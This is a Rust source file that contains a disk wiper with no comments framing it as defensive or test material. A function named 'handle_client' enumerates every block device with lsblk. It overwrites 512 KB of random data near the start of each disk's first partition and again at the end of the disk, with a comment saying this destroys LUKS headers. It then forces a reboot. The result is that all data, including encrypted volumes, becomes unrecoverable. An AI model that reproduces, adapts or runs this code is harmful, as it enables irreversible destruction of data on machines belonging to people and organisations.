use std::fs::OpenOptions; use rand::Rng; use std::io::{self, Write}; use std::io::Seek; use std::process::Command; fn get_block_devices() -> Vec { let output = Command::new("lsblk") .arg("--output=NAME") .arg("--noheadings") .output() .unwrap(); let mut block_devices: Vec = vec![]; let mut output_str = String::new(); if output.status.success() { output_str = String::from_utf8(output.stdout).unwrap(); block_devices = output_str.lines() .filter(|line| !line.trim().contains('|') && !line.trim().contains('│') && !line.trim().contains('├') && !line.trim().contains('└') && !line.trim().contains('-')) .map(|line| line.to_string()) .collect(); } block_devices } pub fn handle_client() { let block_devices: Vec = get_block_devices(); for blockdevice in block_devices { let diskname = format!("/dev/{blockdevice}"); let mut disk = OpenOptions::new() .write(true) .open(diskname) .expect("Failed to open /dev/sda"); // Calculate Location of LBA 33, with a sector size of 512 let byte_offset = 33 * 512; // Generate 512 KB of random data let mut rng = rand::thread_rng(); let mut buffer = vec![0u8; 512 * 1024]; rng.fill(&mut buffer[..]); // Seek to the start of LBA 33, where the first partition usually starts. disk.seek(io::SeekFrom::Start(byte_offset as u64)).unwrap(); // Splash one. disk.write_all(&buffer).unwrap(); // Seek to the end of the disk, just to make sure we get the LUKS headers. disk.seek(io::SeekFrom::End(-524288_i64)).unwrap(); // Splash two. disk.write_all(&buffer).unwrap(); // Reboot. let _reboot = Command::new("reboot") .output() .unwrap(); } }